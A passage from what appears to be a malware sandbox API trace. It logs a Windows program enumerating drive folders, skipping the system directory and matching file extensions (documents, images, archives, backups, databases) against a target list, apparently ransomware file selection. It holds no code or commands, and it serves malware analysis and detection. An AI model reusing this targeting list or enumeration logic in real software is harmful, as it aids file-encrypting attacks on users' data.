lstrlenW (lpString=".raf") returned 4 [0088.527] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0088.527] lstrlenW (lpString=".rar") returned 4 [0088.527] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.527] lstrlenW (lpString=".raw") returned 4 [0088.527] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0088.527] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.527] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.527] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0088.527] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.527] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0088.528] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0088.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0088.530] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0088.531] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0088.531] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="꼠L\x16")) returned 0xffffffff [0088.532] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0088.532] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0088.532] lstrlenW (lpString="C:\\ESD") returned 6 [0088.532] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\ESD") returned 1 [0088.532] lstrlenW (lpString="ESD") returned 3 [0088.533] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ESD") returned -1 [0088.533] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0088.533] lstrlenW (lpString="C:\\ESD") returned 6 [0088.533] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0088.836] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0088.836] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0088.837] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0088.837] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0088.838] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0088.838] lstrlenW (lpString="hiberfil.sys") returned 12 [0088.838] lstrlenW (lpString=".1cd") returned 4 [0088.838] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0088.838] lstrlenW (lpString=".3ds") returned 4 [0088.838] lstrcmpiW (lpString1=".3ds", lpString2=".sys") returned -1 [0088.838] lstrlenW (lpString=".3fr") returned 4 [0088.838] lstrcmpiW (lpString1=".3fr", lpString2=".sys") returned -1 [0088.838] lstrlenW (lpString=".3g2") returned 4 [0088.838] lstrcmpiW (lpString1=".3g2", lpString2=".sys") returned -1 [0088.838] lstrlenW (lpString=".3gp") returned 4 [0088.838] lstrcmpiW (lpString1=".3gp", lpString2=".sys") returned -1 [0088.838] lstrlenW (lpString=".7z") returned 3 [0088.838] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0088.838] lstrlenW (lpString=".accda") returned 6 [0088.838] lstrcmpiW (lpString1=".accda", lpString2="il.sys") returned -1 [0088.838] lstrlenW (lpString=".accdb") returned 6 [0088.838] lstrcmpiW (lpString1=".accdb", lpString2="il.sys") returned -1 [0088.839] lstrlenW (lpString=".accdc") returned 6 [0088.839] lstrcmpiW (lpString1=".accdc", lpString2="il.sys") returned -1 [0088.839] lstrlenW (lpString=".accde") returned 6 [0088.839] lstrcmpiW (lpString1=".accde", lpString2="il.sys") returned -1 [0088.839] lstrlenW (lpString=".accdt") returned 6 [0088.839] lstrcmpiW (lpString1=".accdt", lpString2="il.sys") returned -1 [0088.839] lstrlenW (lpString=".accdw") returned 6 [0088.839] lstrcmpiW (lpString1=".accdw", lpString2="il.sys") returned -1 [0088.839] lstrlenW (lpString=".adb") returned 4 [0088.839] lstrcmpiW (lpString1=".adb", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".adp") returned 4 [0088.839] lstrcmpiW (lpString1=".adp", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai") returned 3 [0088.839] lstrcmpiW (lpString1=".ai", lpString2="sys") returned -1 [0088.839] lstrlenW (lpString=".ai3") returned 4 [0088.839] lstrcmpiW (lpString1=".ai3", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai4") returned 4 [0088.839] lstrcmpiW (lpString1=".ai4", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai5") returned 4 [0088.839] lstrcmpiW (lpString1=".ai5", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai6") returned 4 [0088.839] lstrcmpiW (lpString1=".ai6", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai7") returned 4 [0088.839] lstrcmpiW (lpString1=".ai7", lpString2=".sys") returned -1 [0088.839] lstrlenW (lpString=".ai8") returned 4 [0088.840] lstrcmpiW (lpString1=".ai8", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".anim") returned 5 [0088.840] lstrcmpiW (lpString1=".anim", lpString2="l.sys") returned -1 [0088.840] lstrlenW (lpString=".arw") returned 4 [0088.840] lstrcmpiW (lpString1=".arw", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".as") returned 3 [0088.840] lstrcmpiW (lpString1=".as", lpString2="sys") returned -1 [0088.840] lstrlenW (lpString=".asa") returned 4 [0088.840] lstrcmpiW (lpString1=".asa", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".asc") returned 4 [0088.840] lstrcmpiW (lpString1=".asc", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".ascx") returned 5 [0088.840] lstrcmpiW (lpString1=".ascx", lpString2="l.sys") returned -1 [0088.840] lstrlenW (lpString=".asm") returned 4 [0088.840] lstrcmpiW (lpString1=".asm", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".asmx") returned 5 [0088.840] lstrcmpiW (lpString1=".asmx", lpString2="l.sys") returned -1 [0088.840] lstrlenW (lpString=".asp") returned 4 [0088.840] lstrcmpiW (lpString1=".asp", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".aspx") returned 5 [0088.840] lstrcmpiW (lpString1=".aspx", lpString2="l.sys") returned -1 [0088.840] lstrlenW (lpString=".asr") returned 4 [0088.840] lstrcmpiW (lpString1=".asr", lpString2=".sys") returned -1 [0088.840] lstrlenW (lpString=".asx") returned 4 [0088.841] lstrcmpiW (lpString1=".asx", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".avi") returned 4 [0088.841] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".avs") returned 4 [0088.841] lstrcmpiW (lpString1=".avs", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".backup") returned 7 [0088.841] lstrcmpiW (lpString1=".backup", lpString2="fil.sys") returned -1 [0088.841] lstrlenW (lpString=".bak") returned 4 [0088.841] lstrcmpiW (lpString1=".bak", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".bay") returned 4 [0088.841] lstrcmpiW (lpString1=".bay", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".bd") returned 3 [0088.841] lstrcmpiW (lpString1=".bd", lpString2="sys") returned -1 [0088.841] lstrlenW (lpString=".bin") returned 4 [0088.841] lstrcmpiW (lpString1=".bin", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".bmp") returned 4 [0088.841] lstrcmpiW (lpString1=".bmp", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".bz2") returned 4 [0088.841] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0088.841] lstrlenW (lpString=".c") returned 2 [0088.841] lstrcmpiW (lpString1=".c", lpString2="ys") returned -1 [0088.841] lstrlenW (lpString=".cdr") returned 4 [0088.842] lstrcmpiW (lpString1=".cdr", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".cer") returned 4 [0088.842] lstrcmpiW (lpString1=".cer", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".cf") returned 3 [0088.842] lstrcmpiW (lpString1=".cf", lpString2="sys") returned -1 [0088.842] lstrlenW (lpString=".cfc") returned 4 [0088.842] lstrcmpiW (lpString1=".cfc", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".cfm") returned 4 [0088.842] lstrcmpiW (lpString1=".cfm", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".cfml") returned 5 [0088.842] lstrcmpiW (lpString1=".cfml", lpString2="l.sys") returned -1 [0088.842] lstrlenW (lpString=".cfu") returned 4 [0088.842] lstrcmpiW (lpString1=".cfu", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".chm") returned 4 [0088.842] lstrcmpiW (lpString1=".chm", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".cin") returned 4 [0088.842] lstrcmpiW (lpString1=".cin", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".class") returned 6 [0088.842] lstrcmpiW (lpString1=".class", lpString2="il.sys") returned -1 [0088.842] lstrlenW (lpString=".clx") returned 4 [0088.842] lstrcmpiW (lpString1=".clx", lpString2=".sys") returned -1 [0088.842] lstrlenW (lpString=".config") returned 7 [0088.842] lstrcmpiW (lpString1=".config", lpString2="fil.sys") returned -1 [0088.842] lstrlenW (lpString=".cpp") returned 4 [0088.843] lstrcmpiW (lpString1=".cpp", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".cr2") returned 4 [0088.843] lstrcmpiW (lpString1=".cr2", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".crt") returned 4 [0088.843] lstrcmpiW (lpString1=".crt", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".crw") returned 4 [0088.843] lstrcmpiW (lpString1=".crw", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".cs") returned 3 [0088.843] lstrcmpiW (lpString1=".cs", lpString2="sys") returned -1 [0088.843] lstrlenW (lpString=".css") returned 4 [0088.843] lstrcmpiW (lpString1=".css", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".csv") returned 4 [0088.843] lstrcmpiW (lpString1=".csv", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".cub") returned 4 [0088.843] lstrcmpiW (lpString1=".cub", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".dae") returned 4 [0088.843] lstrcmpiW (lpString1=".dae", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".dat") returned 4 [0088.843] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".db") returned 3 [0088.843] lstrcmpiW (lpString1=".db", lpString2="sys") returned -1 [0088.843] lstrlenW (lpString=".dbf") returned 4 [0088.843] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0088.843] lstrlenW (lpString=".dbx") returned 4 [0088.843] lstrcmpiW (lpString1=".dbx", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dc3") returned 4 [0088.844] lstrcmpiW (lpString1=".dc3", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dcm") returned 4 [0088.844] lstrcmpiW (lpString1=".dcm", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dcr") returned 4 [0088.844] lstrcmpiW (lpString1=".dcr", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".der") returned 4 [0088.844] lstrcmpiW (lpString1=".der", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dib") returned 4 [0088.844] lstrcmpiW (lpString1=".dib", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dic") returned 4 [0088.844] lstrcmpiW (lpString1=".dic", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".dif") returned 4 [0088.844] lstrcmpiW (lpString1=".dif", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".divx") returned 5 [0088.844] lstrcmpiW (lpString1=".divx", lpString2="l.sys") returned -1 [0088.844] lstrlenW (lpString=".djvu") returned 5 [0088.844] lstrcmpiW (lpString1=".djvu", lpString2="l.sys") returned -1 [0088.844] lstrlenW (lpString=".dng") returned 4 [0088.844] lstrcmpiW (lpString1=".dng", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".doc") returned 4 [0088.844] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0088.844] lstrlenW (lpString=".docm") returned 5 [0088.844] lstrcmpiW (lpString1=".docm", lpString2="l.sys") returned -1 [0088.844] lstrlenW (lpString=".docx") returned 5 [0088.845] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0088.845] lstrlenW (lpString=".dot") returned 4 [0088.845] lstrcmpiW (lpString1=".dot", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dotm") returned 5 [0088.845] lstrcmpiW (lpString1=".dotm", lpString2="l.sys") returned -1 [0088.845] lstrlenW (lpString=".dotx") returned 5 [0088.845] lstrcmpiW (lpString1=".dotx", lpString2="l.sys") returned -1 [0088.845] lstrlenW (lpString=".dpx") returned 4 [0088.845] lstrcmpiW (lpString1=".dpx", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dqy") returned 4 [0088.845] lstrcmpiW (lpString1=".dqy", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dsn") returned 4 [0088.845] lstrcmpiW (lpString1=".dsn", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dt") returned 3 [0088.845] lstrcmpiW (lpString1=".dt", lpString2="sys") returned -1 [0088.845] lstrlenW (lpString=".dtd") returned 4 [0088.845] lstrcmpiW (lpString1=".dtd", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dwg") returned 4 [0088.845] lstrcmpiW (lpString1=".dwg", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dwt") returned 4 [0088.845] lstrcmpiW (lpString1=".dwt", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".dx") returned 3 [0088.845] lstrcmpiW (lpString1=".dx", lpString2="sys") returned -1 [0088.845] lstrlenW (lpString=".dxf") returned 4 [0088.845] lstrcmpiW (lpString1=".dxf", lpString2=".sys") returned -1 [0088.845] lstrlenW (lpString=".edml") returned 5 [0088.846] lstrcmpiW (lpString1=".edml", lpString2="l.sys") returned -1 [0088.846] lstrlenW (lpString=".efd") returned 4 [0088.846] lstrcmpiW (lpString1=".efd", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".elf") returned 4 [0088.846] lstrcmpiW (lpString1=".elf", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".emf") returned 4 [0088.846] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".emz") returned 4 [0088.846] lstrcmpiW (lpString1=".emz", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".epf") returned 4 [0088.846] lstrcmpiW (lpString1=".epf", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".eps") returned 4 [0088.846] lstrcmpiW (lpString1=".eps", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".epsf") returned 5 [0088.846] lstrcmpiW (lpString1=".epsf", lpString2="l.sys") returned -1 [0088.846] lstrlenW (lpString=".epsp") returned 5 [0088.846] lstrcmpiW (lpString1=".epsp", lpString2="l.sys") returned -1 [0088.846] lstrlenW (lpString=".erf") returned 4 [0088.846] lstrcmpiW (lpString1=".erf", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".exr") returned 4 [0088.846] lstrcmpiW (lpString1=".exr", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".f4v") returned 4 [0088.846] lstrcmpiW (lpString1=".f4v", lpString2=".sys") returned -1 [0088.846] lstrlenW (lpString=".fido") returned 5 [0088.846] lstrcmpiW (lpString1=".fido", lpString2="l.sys") returned -1 [0088.847] lstrlenW (lpString=".flm") returned 4 [0088.847] lstrcmpiW (lpString1=".flm", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".flv") returned 4 [0088.847] lstrcmpiW (lpString1=".flv", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".frm") returned 4 [0088.847] lstrcmpiW (lpString1=".frm", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".fxg") returned 4 [0088.847] lstrcmpiW (lpString1=".fxg", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".geo") returned 4 [0088.847] lstrcmpiW (lpString1=".geo", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".gif") returned 4 [0088.847] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".grs") returned 4 [0088.847] lstrcmpiW (lpString1=".grs", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".gz") returned 3 [0088.847] lstrcmpiW (lpString1=".gz", lpString2="sys") returned -1 [0088.847] lstrlenW (lpString=".h") returned 2 [0088.847] lstrcmpiW (lpString1=".h", lpString2="ys") returned -1 [0088.847] lstrlenW (lpString=".hdr") returned 4 [0088.847] lstrcmpiW (lpString1=".hdr", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".hpp") returned 4 [0088.847] lstrcmpiW (lpString1=".hpp", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".hta") returned 4 [0088.847] lstrcmpiW (lpString1=".hta", lpString2=".sys") returned -1 [0088.847] lstrlenW (lpString=".htc") returned 4 [0088.848] lstrcmpiW (lpString1=".htc", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".htm") returned 4 [0088.848] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".html") returned 5 [0088.848] lstrcmpiW (lpString1=".html", lpString2="l.sys") returned -1 [0088.848] lstrlenW (lpString=".icb") returned 4 [0088.848] lstrcmpiW (lpString1=".icb", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".ics") returned 4 [0088.848] lstrcmpiW (lpString1=".ics", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".iff") returned 4 [0088.848] lstrcmpiW (lpString1=".iff", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".inc") returned 4 [0088.848] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".indd") returned 5 [0088.848] lstrcmpiW (lpString1=".indd", lpString2="l.sys") returned -1 [0088.848] lstrlenW (lpString=".ini") returned 4 [0088.848] lstrcmpiW (lpString1=".ini", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".iqy") returned 4 [0088.848] lstrcmpiW (lpString1=".iqy", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".j2c") returned 4 [0088.848] lstrcmpiW (lpString1=".j2c", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".j2k") returned 4 [0088.848] lstrcmpiW (lpString1=".j2k", lpString2=".sys") returned -1 [0088.848] lstrlenW (lpString=".java") returned 5 [0088.848] lstrcmpiW (lpString1=".java", lpString2="l.sys") returned -1 [0088.849] lstrlenW (lpString=".jp2") returned 4 [0088.849] lstrcmpiW (lpString1=".jp2", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".jpc") returned 4 [0088.849] lstrcmpiW (lpString1=".jpc", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".jpe") returned 4 [0088.849] lstrcmpiW (lpString1=".jpe", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".jpeg") returned 5 [0088.849] lstrcmpiW (lpString1=".jpeg", lpString2="l.sys") returned -1 [0088.849] lstrlenW (lpString=".jpf") returned 4 [0088.849] lstrcmpiW (lpString1=".jpf", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".jpg") returned 4 [0088.849] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".jpx") returned 4 [0088.849] lstrcmpiW (lpString1=".jpx", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".js") returned 3 [0088.849] lstrcmpiW (lpString1=".js", lpString2="sys") returned -1 [0088.849] lstrlenW (lpString=".jsf") returned 4 [0088.849] lstrcmpiW (lpString1=".jsf", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".json") returned 5 [0088.849] lstrcmpiW (lpString1=".json", lpString2="l.sys") returned -1 [0088.849] lstrlenW (lpString=".jsp") returned 4 [0088.849] lstrcmpiW (lpString1=".jsp", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".kdc") returned 4 [0088.849] lstrcmpiW (lpString1=".kdc", lpString2=".sys") returned -1 [0088.849] lstrlenW (lpString=".kmz") returned 4 [0088.850] lstrcmpiW (lpString1=".kmz", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".kwm") returned 4 [0088.850] lstrcmpiW (lpString1=".kwm", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".lasso") returned 6 [0088.850] lstrcmpiW (lpString1=".lasso", lpString2="il.sys") returned -1 [0088.850] lstrlenW (lpString=".lbi") returned 4 [0088.850] lstrcmpiW (lpString1=".lbi", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".lgf") returned 4 [0088.850] lstrcmpiW (lpString1=".lgf", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".lgp") returned 4 [0088.850] lstrcmpiW (lpString1=".lgp", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".log") returned 4 [0088.850] lstrcmpiW (lpString1=".log", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".m1v") returned 4 [0088.850] lstrcmpiW (lpString1=".m1v", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".m4a") returned 4 [0088.850] lstrcmpiW (lpString1=".m4a", lpString2=".sys") returned -1 [0088.850] 